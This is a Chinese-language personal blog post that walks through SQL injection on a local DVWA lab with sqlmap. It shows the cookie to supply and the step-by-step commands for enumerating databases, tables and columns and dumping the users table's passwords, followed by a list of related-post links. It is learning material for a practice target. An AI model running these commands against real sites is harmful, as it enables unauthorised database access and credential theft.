大晚上失眠了于是来写博客

你为啥这么勤奋

白天玩了手动注入,结果发现sql注入的难度给我自动设置成impossible了。每次都要改包,可能这是dvwa在win下的bug吧,虽说不致命,却有些许麻烦。

low级别注入 经过试验发现,medium和high其实都可以这么玩 你SQLMAP真强大

爆破库名

由于DVWA的注入是 GET类型的 详细参照前面一篇笔记。 所以我们这边要还要提交 cookie的值。 通过burpsuite截取包裹,我们发现我们包裹的cookie是

--cookie="security=impossible; security=low; Phpstorm-1c732ebb=8670e59f-a605-41f8-ad48-cfe0c5467ac0;PHPSESSID=ejq8q5fgjdcshgej49de1q2557"
这就是我说的不太对的地方了,明明设置成了low,可是cookie里面居然还提交了impossible,还有这个phpstrom是啥东西。。。我phpstorm开都没有开啊。
所以这正常的应该是这样子的。
--cooke="security=low; PHPSESSID=ejq8q5fgjdcshgej49de1q2557"

好了,然后我们打开sqlmap 输入

sqlmap -u "http://localhost/DVWA/vulnerabilities/sqli/?id=2&Submit=Submit" --cookie="security=low; PHPSESSID=ejq8q5fgjdcshgej49de1q2557" --dbs 

不是很推荐用默认YES的选项,可能会错过一些很关键的操作,但是比较懒的话,还是加上 –batch吧

available databases [5]:
[*] dvwa
[*] information_schema
[*] mysql
[*] performance_schema
[*] sys

爆破表

倒完之后呢,接下来进入 爆破表

输入代码
记住 -D 与 –tables 使用 tables不是列表的意思么。

sqlmap -u "http://localhost/DVWA/vulnerabilities/sqli/?id=2&Submit=Submit" --cookie="security=low; PHPSESSID=ejq8q5fgjdcshgej49de1q2557" -D dvwa --tables

爆破列

爆破列
记住 -T 和 –colunms 结合使用 colunms不就是列么?

sqlmap -u "http://localhost/DVWA/vulnerabilities/sqli/?id=2&Submit=Submit" --cookie="security=low; PHPSESSID=ejq8q5fgjdcshgej49de1q2557" -D dvwa -T users --colunms

爆破字段

爆破字段
记住 -C 和 –dump 结合使用 dump就是倾倒的意思嘛~~

sqlmap -u "http://localhost/DVWA/vulnerabilities/sqli/?id=2&Submit=Submit" --cookie="security=low; PHPSESSID=ejq8q5fgjdcshgej49de1q2557" -D dvwa -T users -C password,users --dump

然后就找到密码了。
一般都是这个流程。
写篇博文过一下知识点,这些流程网上其实都找得到的。

2018年1月10日04:54:57
烧包
哇,再过一个小时就可以去晨跑了

SQLmap注入学习实战 —— dvwa 从low到impossble相关推荐

  1. SQL 手动注入学习实战 —— dvwa 从low到impossible《low篇》

    概念相关 在PHP中动态构造SQL语句的语言是<最简单,最耿直> query="SELECT∗FROMusersWHEREusername=".query=" ...

  2. SQL注入学习资料总结

    什么是SQL注入 SQL注入基本介绍 结构化查询语言(Structured Query Language,缩写:SQL),是一种特殊的编程语言,用于数据库中的标准数据查询语言.1986年10月,美国国 ...

  3. SQLMAP注入教程-11种常见SQLMAP使用方法

    一.SQLMAP用于Access数据库注入 (1)猜解是否能注入 win: python sqlmap.py -u "http://www.xxx.com/en/CompHonorBig.a ...

  4. 利用sqlmap注入获取网址管理员账号密码

    1.跨站脚本 原理:指攻击者利用网站程序对用户输入过滤不足,输入可以显示在页面上对其他用户造成影响的HTML代码,从而盗取用户资料.利用用户身份进行某种动作或者对访问者进行病毒侵害的一种攻击方式. ( ...

  5. 探针一号的SQL注入学习笔记

    SQL注入学习笔记 文章目录 SQL注入学习笔记 1.问题 2.sqlilabs环境配置 3.第一个注入过程详解(整型注入) 4.跨库注入 5.字符型注入 5.报错注入 6.POST和COOKIE请求 ...

  6. 集成学习实战之 -- RandomForest

    集成学习实战之 -- RandomForest 一.引入 1.Linear model a.用线性模型拟合非线性数据: 1)拟合较平滑的曲线 2)拟合不规则曲线 2.引入决策树 a.两个问题 1)决策 ...

  7. 【联邦学习实战】基于同态加密和差分隐私混合加密机制的FedAvg

    联邦学习实战--基于同态加密和差分隐私混合加密机制的FedAvg 前言 1. FedAvg 1.1 getData.py 1.2 Models.py 1.3 client.py 1.4 server. ...

  8. 【强化学习实战-04】DQN和Double DQN保姆级教程(2):以MountainCar-v0

    [强化学习实战-04]DQN和Double DQN保姆级教程(2):以MountainCar-v0 实战:用Double DQN求解MountainCar问题 MountainCar问题详解 Moun ...

  9. 【墨者】X-Forwarded-For注入漏洞实战

    什么是X-Forwarded-For? X-Forwarded-For(XFF)是用来识别通过HTTP代理或负载均衡方式连接到Web服务器的客户端最原始的IP地址的HTTP请求头字段. 首先,我们来看 ...

  10. X-Forwarded-For注入漏洞实战

    题目:X-Forwarded-For注入漏洞实战 知识点: 是HTTP请求头中XFF的伪造和应用,是一道借用XFF来爆破数据库.表.列以及列值的题目.先输入账户为admin,密码为123456进行登录 ...

最新文章

  1. java 流的概念_举例讲解Java中的Stream流概念
  2. LeetCode 17. Letter Combinations of a Phone Number
  3. LINUX 内核代码备忘录
  4. IIS6注册.net4.0
  5. Apache Storm:如何使用Flux配置KafkaBolt
  6. 【设计模式之美】<Reading Notes>贫血模型与充血模型
  7. echarts实用小技巧,控制字符串长度,限定整数等
  8. SQL 难点解决:直观分组
  9. 怎么通过当地时区计算格林尼治_时间规划局:时间能看到,标注在你的手臂上,那时的你会怎么样...
  10. Android签名校验
  11. bp神经网络算法原理公式,bp神经网络算法推导
  12. SPSS神经网络心得(二)
  13. win10用什么清理垃圾好?
  14. python绘画海贼王_Python爬虫之爬取海贼王全彩漫画图片
  15. 教你免费使用论文检索网,轻松下载
  16. MiniGui打开GridView控件
  17. Windows 最值得推荐的“神器”,看看你中了几个?
  18. 激光雷达建图(基于ROS)及定位数据获取步骤
  19. 前端HTML/CSS模板
  20. 数据结构课程设计图书管理系统,C语言版。

热门文章

  1. win10配置ffmpeg环境
  2. linux版本qq,QQLinux版本下载-QQ最新版本下载v2.0.0
  3. 红帽8LINUX命令行使用技巧
  4. FreeSWITCH 呼叫两个座机并互联(ESL实现)
  5. 反向代理实例一 访问一个域名 代理到另一个服务 nginx 200323
  6. Qt2D游戏开发引擎QtGameEngine使用入门5——创建一个敌对的怪物角色并自动攻击
  7. s饥荒服务器物品id,流年饥荒控制台指令大全+物品大全+服务器管理命令大全.docx...
  8. wordpress 更改excerpt的长度,设置excerpt后面'[...]'的字样和链接
  9. Python验证哥德巴赫猜想,并返回数组
  10. 批处理文件(bat)装逼 之全彩滚动我爱你 绘制五彩爱心 绘制3D球体